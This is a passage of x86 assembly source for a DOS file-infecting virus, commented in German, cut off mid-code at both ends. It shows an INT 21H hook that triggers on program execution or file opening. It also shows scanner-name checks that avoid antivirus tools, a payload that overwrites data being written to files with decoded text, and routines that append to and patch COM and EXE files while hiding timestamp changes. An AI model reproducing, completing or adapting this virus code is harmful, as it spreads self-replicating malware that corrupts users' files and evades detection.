CMP AH,40H ;Funktion=Datei schreiben?
|
||||
JE TRIG_OK ;JA --> TRIG_OK
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ EXEC oder OPEN ? ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
CMP AX,4B00H ;EXEC-Aufruf ?
|
||||
JE GO_INF ;JA --> GO_INF
|
||||
|
||||
CMP AH,3DH ;Datei ”ffnen ?
|
||||
JNE END21 ;NEIN --> END21
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ EXE oder COM oder keins von beidem? ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
GO_INF: MOV BYTE PTR CS:[OFFSET AKTIV-FAKTOR],1 ;Virus ist jetzt AKTIV !!!
|
||||
;------------------------------------------------------------------------------
|
||||
MOV DI,DX ;<DI> mit OFS des Programmnamens laden
|
||||
|
||||
FIND_END: INC DI ;<DI> auf das n„chste Zeichen
|
||||
JZ NEU21END ;<DI> wieder Null? JA --> NEU21END
|
||||
CMP BYTE PTR DS:[DI],0 ;Ende-Zeichen des Dateinamens?
|
||||
JNZ FIND_END ;NEIN --> FIND_END
|
||||
;------------------------------------------------------------------------------
|
||||
MOV CX,10 ;10 Durchl„ufe
|
||||
XOR AL,AL ;Checksumme in <AX>
|
||||
|
||||
MAKE_SUM: DEC DI ;Aufs n„chste Zeichen des Dateinamens
|
||||
MOV BP,DS:[DI-2] ;3 Zeichen des...
|
||||
MOV BH,DS:[DI] ;...Dateinamens einlesen (<BP>/<BH>)
|
||||
|
||||
AND BP,0DFDFH ;Zeichen in den Regs <BP>/<BH> in...
|
||||
AND BH,0DFH ;...Groáschrift umwandeln
|
||||
|
||||
CMP CX,7 ;Extension abgearbeitet?
|
||||
JA EXT_CHK ;JA --> END_SUM
|
||||
;------------------------------------------------------------------------------
|
||||
XOR SI,SI ;Zeiger auf die SCANNER-Namen
|
||||
|
||||
TESTSCAN: CMP BP,WORD PTR CS:[OFFSET SCAN+SI-FAKTOR+1] ;Ersten 2 Chr in <BX>
|
||||
JNZ NO_SCAN ;NIX... --> NO_SCAN
|
||||
CMP BH,BYTE PTR CS:[OFFSET SCAN+SI-FAKTOR] ;N„chsten 2 Chr in <BP>
|
||||
JZ NEU21END ;SCANNER!!! --> NEU21END
|
||||
NO_SCAN: CMP SI,(ANZ_SCAN-1)*3 ;<SI> auf den letzten Eintrag pr�fen
|
||||
JZ END_SUM ;Alles getestet --> END_SUM
|
||||
ADD SI,3 ;Auf den n„chsten Namen
|
||||
JMP TESTSCAN ;--> TESTSCAN
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
EXT_CHK: ADD AL,BH ;Checksumme erh”hen
|
||||
;------------------------------------------------------------------------------
|
||||
END_SUM: LOOP MAKE_SUM ;Alle 3 Bytes abarbeiten
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
CMP AL,223 ;Summe = "COM" ?
|
||||
JZ F_START ;JA --> F_START --> START_ME !
|
||||
CMP AL,226 ;Summe = "EXE" ?
|
||||
JNZ NEU21END ;NEIN --> NEU21END
|
||||
|
||||
F_START: JMP START_ME ;--> START_ME !!!
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ INT 21H-Virus beenden: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
NEU21END: MOV BYTE PTR CS:[OFFSET AKTIV-FAKTOR],0 ;Virus ist jetzt NICHT...
|
||||
;...MEHR aktiv!
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Sprung zum orginal INT 21H Handler: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
END21: POPALL ;Register laden
|
||||
DB 0EAH ;Direct Intersegment Jmp...
|
||||
ALT21 DD ? ;Far-ADR f�r den R�cksprung zum INT 21H
|
||||
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º TRIGer_OK: º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
TRIG_OK: MOV AL,BYTE PTR CS:[OFFSET KOPIE-FAKTOR] ;LOW-BYTE von KOPIE in <AL>
|
||||
AND AL,0111B ;Letzten 3 BITs NICHT ausmaskieren
|
||||
JNZ END21 ;NEIN --> END21
|
||||
|
||||
CMP BX,4 ;Handle=Standard Ausgabe etc?
|
||||
JBE END21 ;JA --> END21
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
MOV SI,TXT_SIZ ;Text-l„nge in <SI>
|
||||
MOV BX,DX ;OFS des Puffers in <BX>, s.u.
|
||||
|
||||
BOESE: MOV AL,BYTE PTR CS:[SI+OFFSET TEXT-FAKTOR] ;Text lesen
|
||||
XOR AX,SI ;Entschl�sseln!
|
||||
MOV DI,CX ;...und dann in den...
|
||||
DEC DI ;(Pufferzeiger verkleinern!)
|
||||
MOV DS:[DI+BX],AL ;Puffer schreiben!
|
||||
|
||||
DEC SI ;String-Zeiger verkleinern
|
||||
JNZ EVIL ;NULL? NEIN --> EVIL
|
||||
|
||||
MOV SI,TXT_SIZ ;Text-l„nge in <SI>
|
||||
|
||||
EVIL: LOOP BOESE ;Puffer voll machen!
|
||||
JMP END21 ;...und zur Dose!
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
TEXT DB 000,083,044,066,042,081,040,039,083,091,087,098,099,121,125,047
|
||||
DB 075,080,079,116,117,124,120,100,108,057,065,079,065,120,125,119
|
||||
DB 078,078,078,076,067,092,006,010,005,009,108,098,107,101,122,015
|
||||
DB 121,101,018,113,117,118,125,023,025,024,027,027
|
||||
|
||||
TXT_SIZ EQU 59
|
||||
|
||||
;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||||
;º Infektions-Routinen des Virus: º
|
||||
;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ INT 24H - Kritikal Errorhandler - merken: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
START_ME: MOV AX,3524H ;Vektor von INT 24 lesen
|
||||
CALL GODOS ;--> Dose direkt callen
|
||||
PUSH ES ;SEG vom Vektor sichern
|
||||
PUSH BX ;OFS vom Vektor sichern
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Neuen INT 13H - HD/FLOPPY-INT - merken: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
MOV AL,13H ;Vektor von INT 13 lesen, <AH>=35 (s o)
|
||||
CALL GODOS ;--> Dose direkt callen
|
||||
PUSH ES ;SEG vom Vektor sichern
|
||||
PUSH BX ;OFS vom Vektor sichern
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Vektoren NEU setzen (Auf die Adressen, bevor der Virus installiert war): ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
PUSH DS ;SEG des Dateinamens (<DS>) gesichert
|
||||
PUSH DX ;OFS des Dateinamens (<DX>) gesichert
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Kritikal Errorhandler auf eigene Routine umbiegen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
MOV AX,2524H ;INT 24H neu setzen
|
||||
PUSH CS ;SEG <DS> auf den...
|
||||
POP DS ;...Wert von <CS> setzen
|
||||
MOV DX,OFFSET NEU24-FAKTOR ;SEG in <DS>
|
||||
CALL GODOS ;--> Dose direkt callen
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ INT 13H auf alten (vor dem Virus) Vektor setzen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
LDS DX,DWORD PTR CS:[OFFSET ALT13-FAKTOR] ;Urspr�nglichen 13H-Vektor:
|
||||
MOV AL,13H ;Neu setzen:<AH>=25 (s.o)
|
||||
CALL GODOS ;--> Dose direkt callen
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
POP DX ;<OFS> des Dateinamens restaurieren
|
||||
POP DS ;<SEG> des Dateinamens restaurieren
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Attribut lesen und neu schreiben: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
MOV AX,4300H ;Attribut einer Datei ermitteln
|
||||
CALL GODOS ;SEG in <DS> und OFS in <DX> (siehe Oben ÄÙ)
|
||||
JC REST_FAR ;FEHLER --> REST_INT
|
||||
|
||||
MOV SI,CX ;Attribut der Datei in <SI> retten
|
||||
|
||||
MOV AX,4301H ;Attribut einer Datei setzen
|
||||
XOR CX,CX ;Neues Attribut
|
||||
CALL GODOS ;SEG in <DS> und OFS in <DX> (siehe Oben ÄÙ)
|
||||
JNC ATTR_OK ;OK --> ATTR_OK
|
||||
REST_FAR: JMP REST_INT ;FEHLER --> REST_INT
|
||||
|
||||
ATTR_OK: PUSH SI ;Attribut auf den Stack (merken!)
|
||||
PUSH DX ;SEG des Dateinamens merken
|
||||
PUSH DS ;OFS des Dateinamens merken
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Datei ”ffnen: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
MOV AX,3D12H ;Datei ”ffnen, <AL>=Zugriffsmodus
|
||||
CALL GODOS ;SEG des FNamens in <DS>, OFS in <DX>
|
||||
JNC HANDLE ;OK --> HANDLE
|
||||
JMP BREAK ;FEHLER --> BREAK
|
||||
|
||||
HANDLE: MOV BX,AX ;Handle in <BX> retten
|
||||
;------------------------------------------------------------------------------
|
||||
PUSH CS ;Nebenbei...
|
||||
POP DS ;...<DS> auf <CS> setzen
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ ID_WORD TESTEN (Keine Doppelinfektion!): ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
ID_TEST: MOV AX,4202H ;Dateizeiger bewegen, relativ zum Ende
|
||||
MOV CX,0FFFFH ;HI-WORD des Offset
|
||||
MOV DX,(-5) ;LO-WORD des Offset
|
||||
CALL GODOS ;Handle in <BX>
|
||||
JNC ID_OK ;OK --> Weiter
|
||||
N_CLOSE: JMP CLOSE ;FEHLER --> CLOSE
|
||||
|
||||
ID_OK: MOV AH,3FH ;Datei lesen
|
||||
MOV CX,2 ;Anzahl zu lesender BYTES
|
||||
MOV DX,OFFSET PUFFER-FAKTOR ;OFS des Puffers, SEG in <DS>
|
||||
CALL GODOS ;Handle in <BX>
|
||||
JC N_CLOSE ;FEHLER --> CLOSE
|
||||
|
||||
CMP WORD PTR CS:[OFFSET PUFFER-FAKTOR],ID_WORD ;Kennbytes..?
|
||||
JZ N_CLOSE ;JA --> CLOSE
|
||||
|
||||
MOV BYTE PTR CS:[OFFSET IMMUN-FAKTOR],0 ;IMMUN-Flag l”schen
|
||||
CMP WORD PTR CS:[OFFSET PUFFER-FAKTOR],TNT_WORD ;Immunisiert..?
|
||||
JNZ READ_IT ;JA --> READ_IT
|
||||
MOV BYTE PTR CS:[OFFSET IMMUN-FAKTOR],1 ;Immunisiert...
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Ersten 18H BYTEs des Hosts merken: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
READ_IT: CALL SEEK_BEG ;Dateizeiger auf den Anfang der Datei
|
||||
JC N_CLOSE ;FEHLER --> CLOSE
|
||||
|
||||
MOV AH,3FH ;Datei lesen
|
||||
MOV CX,18H ;Anzahl zu lesender BYTES
|
||||
MOV DX,OFFSET PUFFER-FAKTOR ;OFS des Puffers, SEG in <DS>
|
||||
CALL GODOS ;Handle in <BX>
|
||||
JC N_CLOSE ;FEHLER --> CLOSE
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ L„nge einlesen und merken: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
MOV AX,4202H ;Dateizeiger bewegen, relativ zum Ende
|
||||
XOR CX,CX ;HI-WORD des Offset
|
||||
XOR DX,DX ;LO-WORD des offset
|
||||
CALL GODOS ;Handle in <BX>
|
||||
JC N_CLOSE ;FEHLER --> CLOSE
|
||||
|
||||
MOV SI,AX ;LO-WORD der Dateil„nge in <SI> merken
|
||||
MOV DI,DX ;HI-WORD der Dateil„nge in <DI> merken
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Dateizeiger auf den Anfang des Hosts: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
CALL SEEK_BEG ;Dateizeiger auf den Anfang der Datei
|
||||
JC N_CLOSE ;FEHLER --> N_CLOSE --> CLOSE
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Altes DATUM und alte ZEIT merken: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
MOV AX,5700H ;Lezte Modifikation der Datei merken
|
||||
CALL GODOS ;Handle in <BX>
|
||||
JC N_CLOSE ;FEHLER --> CLOSE
|
||||
|
||||
PUSH CX ;Uhrzeit merken
|
||||
PUSH DX ;Datum merken
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ COM oder EXE..???? ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
CMP WORD PTR CS:[OFFSET PUFFER-FAKTOR],"ZM" ;EXE-Datei? ("MZ")
|
||||
JZ GO_EXE ;JA --> GO_EXE
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ COM: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
CMP SI,MAXGR ;Datei zu groá?
|
||||
JAE POP_CLOSE ;JA --> CLOSE
|
||||
|
||||
MOV CS:[COMEXE-FAKTOR],0 ;COMEXE auf COM setzen
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ COM: R�cksprung & JMP setzen ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
;------------------------------------------------------------------------------
|
||||
; OFS des R�cksprungs in den Host (100H) setzen, SEG wird w„hrend der Laufzeit
|
||||
; eingesetzt... (<CS> ist je nach freiem Speicher immer unterschiedlich!)
|
||||
;------------------------------------------------------------------------------
|
||||
MOV WORD PTR CS:[OFFSET HOST_OFS-FAKTOR],100H
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; Sprung vom HOST in den VIRUS setzen und an den Anfang der Datei schreiben:
|
||||
;------------------------------------------------------------------------------
|
||||
MOV BYTE PTR CS:[OFFSET PUFFER-FAKTOR+3],0E9H ;JMP setzen
|
||||
SUB SI,3 ;JMP und Dateil„nge anpassen
|
||||
MOV WORD PTR CS:[OFFSET PUFFER-FAKTOR+4],SI ;Offset setzen
|
||||
|
||||
MOV AH,40H ;Datei beschreiben
|
||||
MOV CX,3 ;Anzahl zu schreibender Bytes
|
||||
MOV DX,OFFSET PUFFER-FAKTOR+3 ;OFS des Puffers
|
||||
CALL GODOS ;Handle in <BX>
|
||||
JNC F_INFECT ;--> F_INFECT -->
|
||||
F_MODIFY: JMP MODIFY ;FEHLER --> SCHLIESSEN
|
||||
F_INFECT: XOR DI,DI ;LO-OFS des FilePtr in <DI> (s.u.)
|
||||
JMP INFECT ; --> INFECT !!!
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ EXE: ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
GO_EXE: MOV BYTE PTR CS:[COMEXE-FAKTOR],1 ;COMEXE auf EXE setzen
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; Dateil„nge im EXE-Kopf (in Seiten zu 512 Bytes) in BYTEs wandeln und in <AX>
|
||||
; (LO-WORD) und <DX> (HI-WORD) speichern ( ---> um die EXE-Dateil„nge im EXE-
|
||||
; Kopf mit der oben ermittelten physikalischen Dateil„nge vergleichen zu k”n-
|
||||
; nen !!!):
|
||||
;------------------------------------------------------------------------------
|
||||
MOV AX,WORD PTR CS:[OFFSET PUFFER+4-FAKTOR] ;F_L„nge (in Seiten zu...
|
||||
DEC AX ;...512 BYTEs) in <AX>
|
||||
MOV CX,512 ;Mit 512 malnehmen, und...
|
||||
MUL CX ;...somit in BYTEs wandeln
|
||||
ADD AX,WORD PTR CS:[OFFSET PUFFER+2-FAKTOR] ;BYTEs der letzten Seite drauf
|
||||
JNC EXE_TEST ;šBERTRAG? NEIN --> EXE_TEST
|
||||
INC DX ;JA --> HI-WORD der Dateigr”áe erh”hen
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
; Physikalische Dateil„nge (<SI>: LO-WORD / <DI>: HI-WORD) mit der Dateil„nge
|
||||
; im EXE-Kopf (<AX>: LO-WORD / <DX>: HI-WORD) vergleichen, somit auf Overlays
|
||||
; in der EXE-Datei testen:
|
||||
;------------------------------------------------------------------------------
|
||||
EXE_TEST: CMP AX,SI ;LO-WORD im EXE-Kopf=LO-WORD der DateigrӇe?
|
||||
JNE POP_CLOSE ;NEIN --> CLOSE
|
||||
CMP DX,DI ;HI-WORD im EXE-Kopf=HI-WORD der DateigrӇe?
|
||||
JE SET_EXE ;JA --> SET_EXE
|
||||
POP_CLOSE:POP AX ;Datum wird nicht mehr gebraucht (vom Stack)
|
||||
POP BP ;(s.o...)
|
||||
JMP CLOSE ;NEIN --> CLOSE
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ EXE: R�cksprung & JMP setzen ³
|
||||
